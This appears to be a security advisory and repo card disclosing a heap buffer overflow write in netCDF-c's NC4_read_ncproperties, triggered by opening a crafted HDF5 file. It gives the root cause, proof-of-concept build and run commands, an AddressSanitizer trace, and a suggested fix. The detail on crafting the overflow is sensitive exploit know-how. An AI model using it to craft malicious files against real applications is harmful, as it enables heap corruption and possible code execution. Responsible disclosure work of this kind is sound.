YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Heap buffer overflow (WRITE) in NC4_read_ncproperties when opening an HDF5/netCDF-4 file whose _NCProperties attribute is a multi-element array
Summary
Opening an attacker-supplied HDF5/netCDF-4 file with nc_open() triggers a
heap buffer overflow write in NC4_read_ncproperties()
(libhdf5/nc4info.c). The function reads the reserved root-group
_NCProperties provenance attribute on every netCDF-4/HDF5 open, but sizes
its read buffer for a single string element while H5Aread copies all
elements of the attribute dataspace. A hostile file declaring _NCProperties
as a 1-D array of fixed-length strings causes K * element_size bytes to be
written into a buffer of only 1 + element_size bytes. The attacker fully
controls the overflow length (K), the element size, and the overflow
content (the raw attribute bytes) β a controlled heap out-of-bounds write
reachable purely by opening a file.
Target
- Project: Unidata netCDF-c (
libnetcdf) - Version: 4.10.2-development
- Commit:
c91c55d8fbcd64837d0dbc2f494aed2e0455b391 - Vulnerable file:
libhdf5/nc4info.c, functionNC4_read_ncproperties - Reachability:
nc_openβNC4_open(hdf5open.c:1067) βnc4_open_file(hdf5open.c:991) βNC4_read_provenance(nc4info.c:205) βNC4_read_ncproperties(nc4info.c). Called unconditionally for every netCDF-4/HDF5 file; no non-default options required. - Status: Confirmed present/unfixed on upstream
mainHEAD at the pinned commit.
Root cause
NC4_read_ncproperties() validates only the attribute's datatype class
(must be H5T_STRING) and the size of one string element. It fetches the
attribute dataspace (aspace) but never checks its point count, then hands
the single-element buffer to H5Aread, which copies every element:
/* NCPROPS Attribute exists, make sure it is legitimate */
attid = H5Aopen_by_name(hdf5grpid, ".", NCPROPS, H5P_DEFAULT, H5P_DEFAULT);
assert(attid > 0);
aspace = H5Aget_space(attid); /* dataspace fetched ... */
atype = H5Aget_type(attid);
/* Verify atype and size */
t_class = H5Tget_class(atype);
if(t_class != H5T_STRING)
{retval = NC_EINVAL; goto done;}
size = H5Tget_size(atype); /* size of ONE string element */
if(size == 0)
{retval = NC_EINVAL; goto done;}
text = (char*)malloc(1+(size_t)size); /* buffer for exactly ONE element (nc4info.c:273) */
if(text == NULL)
{retval = NC_ENOMEM; goto done;}
if((ntype = H5Tget_native_type(atype, H5T_DIR_DEFAULT)) < 0)
{retval = NC_EHDFERR; goto done;}
if((H5Aread(attid, ntype, text)) < 0) /* reads ALL npoints elements (nc4info.c:278) */
{retval = NC_EHDFERR; goto done;}
/* Make sure its null terminated */
text[(size_t)size] = '\0';
aspace (the number of elements, npoints) is never validated. netCDF's own
writer always emits _NCProperties as a scalar string, so this path is
never exercised by benign files β but a crafted file can declare the attribute
as a 1-D array of K fixed-length strings, and H5Aread faithfully copies
K * size bytes into the 1 + size byte allocation.
With K = 64 and size = 8: buffer = malloc(9), H5Aread writes
64 * 8 = 512 bytes β 503-byte heap overflow, contents attacker-controlled.
Proof of concept
Artifacts (in this repo):
mkfile.cβ generator (links system HDF5 1.14.6). Builds an HDF5 file whose root group holds attribute_NCPropertieswith a fixed-length string datatype of size8and a SIMPLE 1-D dataspacedims=[64](npoints=64), writing64*8 = 512bytes of'A'.evil.ncβ the malicious file produced bymkfile.mkgood.c/good.ncβ negative control: identical but with a scalar_NCPropertiesstring (npoints=1, the exact shape netCDF itself writes).harness.c/harnessβ callsnc_open(path, NC_NOWRITE, &ncid)and prints the status.
Build/run (against an ASan build of libnetcdf, HDF5 enabled, NCZarr disabled):
# generator uses system HDF5
gcc mkfile.c -o mkfile $(pkg-config --cflags --libs hdf5) -lhdf5 # or -I/usr/include/hdf5/serial -lhdf5_serial
./mkfile evil.nc
./mkgood good.nc
# harness links the ASan-instrumented libnetcdf
LD_PRELOAD=$(gcc -print-file-name=libasan.so) ./harness evil.nc # -> heap-buffer-overflow WRITE
LD_PRELOAD=$(gcc -print-file-name=libasan.so) ./harness good.nc # -> nc_open -> 0 (clean)
Captured evidence (verbatim)
Malicious file (evil.nc):
=================================================================
==695232==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b355d9e4419 at pc 0x7f1560121cc4 bp 0x7fff23051260 sp 0x7fff23050a20
WRITE of size 512 at 0x7b355d9e4419 thread T0
#0 0x7f1560121cc3 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:117
#1 0x7f155f473d96 in H5A__read (/usr/lib/x86_64-linux-gnu/libhdf5_serial.so.310+0x73d96)
#6 0x7f155f46965f in H5Aread (/usr/lib/x86_64-linux-gnu/libhdf5_serial.so.310+0x6965f)
#7 0x7f155fd742a9 in NC4_read_ncproperties /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libhdf5/nc4info.c:278
#8 0x7f155fd73f76 in NC4_read_provenance /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libhdf5/nc4info.c:205
#9 0x7f155fd8a113 in nc4_open_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libhdf5/hdf5open.c:991
#10 0x7f155fd8a357 in NC4_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libhdf5/hdf5open.c:1067
#11 0x7f155fcd90bf in NC_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:2258
#12 0x7f155fcd6160 in nc_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:696
#13 0x564ea12221e5 in main
0x7b355d9e4419 is located 0 bytes after 9-byte region [0x7b355d9e4410,0x7b355d9e4419)
allocated by thread T0 here:
#0 0x7f156012435f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
#1 0x7f155fd74253 in NC4_read_ncproperties /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libhdf5/nc4info.c:273
#2 0x7f155fd73f76 in NC4_read_provenance /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libhdf5/nc4info.c:205
#3 0x7f155fd8a113 in nc4_open_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libhdf5/hdf5open.c:991
#4 0x7f155fd8a357 in NC4_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libhdf5/hdf5open.c:1067
SUMMARY: AddressSanitizer: heap-buffer-overflow (...libhdf5_serial.so.310+0x73d96) in H5A__read
Negative control (good.nc, scalar _NCProperties β the shape netCDF writes):
nc_open -> 0 (No error)
closed
The overflow is deterministic across runs. The 9-byte allocation
(nc4info.c:273, 1 + size with size=8) and the 512-byte write
(nc4info.c:278, K*size with K=64) match the crafted attribute exactly.
Impact
Controlled heap out-of-bounds write during nc_open of an untrusted
netCDF-4/HDF5 file. K (overflow length), size (element/allocation size),
and the written bytes are all attacker-controlled via the file, making this a
strong primitive for heap corruption / potential code execution. No special
API flags are needed β any application that opens untrusted netCDF-4 files
(scientific data pipelines, viewers, web services ingesting .nc) is exposed.
Suggested fix
After fetching aspace, require the attribute to be scalar (or npoints == 1)
before allocating/reading, e.g. reject when
H5Sget_simple_extent_type(aspace) != H5S_SCALAR (or
H5Sget_simple_extent_npoints(aspace) != 1), matching the invariant netCDF's
own writer maintains. Alternatively size the buffer for
npoints * size bytes.
Deduplication
- Distinct from the previously reported netCDF-c parser overflows in this
research series (
nc_quantize/NSD,dimid/dimension scales,coorddimids, NCZarrchunks, attribute-array/nelems, NC3getattOOB read, NCZarr order null-deref): different function, file, and code path. This one is in the provenance /_NCPropertiesreader (NC4_read_ncproperties,libhdf5/nc4info.c), reached on the generic non-NCZarr HDF5 open path. - No CVE is known for the
_NCPropertiesarray dataspace check as of the pinned commit; the code is present and unfixed on upstreammainHEAD.